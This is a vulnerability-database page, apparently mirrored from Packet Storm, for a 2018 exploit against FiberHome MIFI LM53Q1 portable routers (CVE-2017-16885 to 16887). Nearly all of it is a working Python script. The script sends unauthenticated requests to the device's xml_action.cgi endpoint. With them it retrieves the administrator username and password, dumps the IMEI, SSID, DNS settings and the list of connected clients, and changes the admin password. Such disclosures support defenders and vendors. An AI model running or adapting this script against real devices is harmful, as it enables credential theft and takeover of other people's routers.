Lucene search
K

FiberHome MIFI LM53Q1 Information Disclosure / Password Change

🗓️ 07 Jan 2018 00:00:00Reported by Ibad ShahType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1155 Views

FiberHome MIFI LM53Q1 Information Disclosure and Password Change Vulnerabilitie

Related
Code
`#!/usr/bin/python  
  
# /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$ /$$ /$$$$$$$$ /$$ /$$ /$$  
# | $$_____/|__/| $$ | $$ | $$ | $$__ $$ | $$ | $$_____/ | $$ |__/ | $$  
# | $$ /$$| $$$$$$$ /$$$$$$ /$$$$$$ | $$ | $$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$ /$$$$$$ | $$ /$$$$$$ /$$ /$$$$$$  
# | $$$$$ | $$| $$__ $$ /$$__ $$ /$$__ $$| $$$$$$$$ /$$__ $$| $$_ $$_ $$ /$$__ $$ | $$$$$$$/ /$$__ $$| $$_ $$_ $$ /$$__ $$|_ $$_/ /$$__ $$ | $$$$$ | $$ /$$/ /$$__ $$| $$ /$$__ $$| $$|_ $$_/  
# | $$__/ | $$| $$ \ $$| $$$$$$$$| $$ \__/| $$__ $$| $$ \ $$| $$ \ $$ \ $$| $$$$$$$$ | $$__ $$| $$$$$$$$| $$ \ $$ \ $$| $$ \ $$ | $$ | $$$$$$$$ | $$__/ \ $$$$/ | $$ \ $$| $$| $$ \ $$| $$ | $$  
# | $$ | $$| $$ | $$| $$_____/| $$ | $$ | $$| $$ | $$| $$ | $$ | $$| $$_____/ | $$ \ $$| $$_____/| $$ | $$ | $$| $$ | $$ | $$ /$$| $$_____/ | $$ >$$ $$ | $$ | $$| $$| $$ | $$| $$ | $$ /$$  
# | $$ | $$| $$$$$$$/| $$$$$$$| $$ | $$ | $$| $$$$$$/| $$ | $$ | $$| $$$$$$$ | $$ | $$| $$$$$$$| $$ | $$ | $$| $$$$$$/ | $$$$/| $$$$$$$ | $$$$$$$$ /$$/\ $$| $$$$$$$/| $$| $$$$$$/| $$ | $$$$/  
# |__/ |__/|_______/ \_______/|__/ |__/ |__/ \______/ |__/ |__/ |__/ \_______/ |__/ |__/ \_______/|__/ |__/ |__/ \______/ \___/ \_______/ |________/|__/ \__/| $$____/ |__/ \______/ |__/ \___/  
# | $$  
# | $$  
# |__/  
# Exploit Title: FiberHome MIFI LM53Q1 Multiple Vulnerabilities  
# Exploit Author: Ibad Shah  
# Vendor Homepage: www.fiberhome.com  
# Version: VH519R05C01S38  
# Tested on: Linux  
# Platform : Hardware  
# CVE : CVE-2017-16885, CVE-2017-16886, CVE-2017-16887  
# Greetz : Taimoor Zafar, Jawad Ahmed, Owais Mehtab, Aitezaz Mohsin, ZHC  
  
import requests,sys,getopt,socket,struct  
  
#Declaring IP as our global variable to probe for Gateway IP of Device  
global ip  
  
#Getting Gateway IP Address  
def get_default_gateway_linux():  
with open("/proc/net/route") as fh:  
for line in fh:  
fields = line.strip().split()  
if fields[1] != '00000000' or not int(fields[3], 16) & 2:  
continue  
return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))  
return;  
  
  
ip = get_default_gateway_linux()  
  
exploit_title = "=============================================== \n FiberHome Remote Administrator Account Details \n================================================";  
  
  
#Function to get Device Statistics   
def get_device_details():  
  
gateway = None  
hardware = None  
device_name = None  
devices_all = ''  
version = None  
gateway = None  
ssid = ''  
dns1 = None  
dns2 = None  
  
  
requestStatus = requests.get("http://192.168.8.1/xml_action.cgi?method=get&module=duster&file=status1")  
api_response = requestStatus.content.replace('\t','').split('\n')  
for results in api_response:  
if "<hardware_version>" in results:  
hardware = results.replace('<hardware_version>','').replace('</hardware_version>','').replace(' ','').replace('\n','')  
if "<device_name>" in results:  
device_name = results.replace('<device_name>','').replace('</device_name>','').replace(' ','').replace('\n','')  
if "<version_num>" in results:  
version = results.replace('<version_num>','').replace('</version_num>','').replace(' ','').replace('\n','')  
if "<gateway>" in results:  
gateway = results.replace('<gateway>','').replace('</gateway>','').replace(' ','').replace('\n','')  
if "<ssid>" in results:  
ssid = results.replace('<ssid>','').replace('</ssid>','').replace('\n','')  
if "<dns1>" in results:  
dns1 = results.replace('<dns1>','').replace('</dns1>','').replace(' ','').replace('\n','')  
if "<dns2>" in results:  
dns2 = results.replace('<dns2>','').replace('</dns2>','').replace(' ','').replace('\n','')  
if "<IMEI>" in results:  
imei = results.replace('<IMEI>','').replace('</IMEI>','').replace(' ','').replace('\n','')  
print "\n=============================================="  
  
print "\nHardware Version of Device : "+hardware+"\n"  
print "\nName of Device : "+device_name+"\n"  
print "\nSoftware Version of Device : "+version+"\n"  
print "\nIMEI of Device! : "+imei+"\n"  
print "\nWiFi SSID of Device : "+ssid+"\n"  
print "\nGateway of Zong Device : "+gateway+"\n"  
print "\nDNS Primary of Device : "+dns1+"\n"  
print "\nDNS Secondary of Device : "+dns2+"\n"  
print "\n=============================================================================\n";  
if "<known_devices_list>" in results:  
devices_all = results.replace('<known_devices_list>','').replace('</known_devices_list>','').replace('\n','')  
print "\nConnected Devices to WIFI\n"  
print devices_all  
  
  
#Function for getting User Account Details to login to Portal  
def get_user_account_details():  
request = requests.get("http://"+ip+"/xml_action.cgi?method=get&module=duster&file=admin")  
admin_details = request.content.replace('\t','').split('\n')  
for admin_login_response in admin_details:  
if "<router_username>" in admin_login_response:  
username = admin_login_response.replace('<router_username>','').replace('</router_username>','')  
if "<router_password>" in admin_login_response:  
password = admin_login_response.replace('<router_password>','').replace('</router_password>','')  
print "\nUsername of Device Web Application :\n"+username+" "  
print "Password of Device Web Application :\n"+password+"\n"  
print "\n=============================================================================\n";  
  
  
#Function to change Administrator Password   
  
def change_admin_password():  
set_password = raw_input("\nEnter Password to Change : ")  
password = str(set_password)  
xml = "<?xml version='1.0' encoding='UTF-8'?><RGW><management><router_password>"+password+"</router_password></management></RGW>"  
headers = {'Content-Type': 'application/xml'}   
change_password_request = requests.post("http://"+ip+"/xml_action.cgi?method=set&module=duster&file=admin", data=xml, headers=headers).text  
print "Password Changed!"  
  
  
def main():  
  
print exploit_title  
print "\nSelect Menu For Fetching Details \n \n 1. Get Portal Login & Password. \n 2. Get Other Details. \n 3. Change Admin Password for Device"  
  
get_option = raw_input("\n Enter Option : ");  
  
option = int(get_option)  
  
if get_option == "1":  
  
get_user_account_details()  
  
raw_input("\n Press Any Key To Exit");  
  
elif get_option == "2":  
  
get_device_details()  
  
raw_input("\n Press Any Key To Exit");  
  
elif get_option == "3":  
  
change_admin_password()  
  
elif get_option == "":  
  
print "Good Bye!";  
  
else:  
  
print "Goodbye!";  
  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation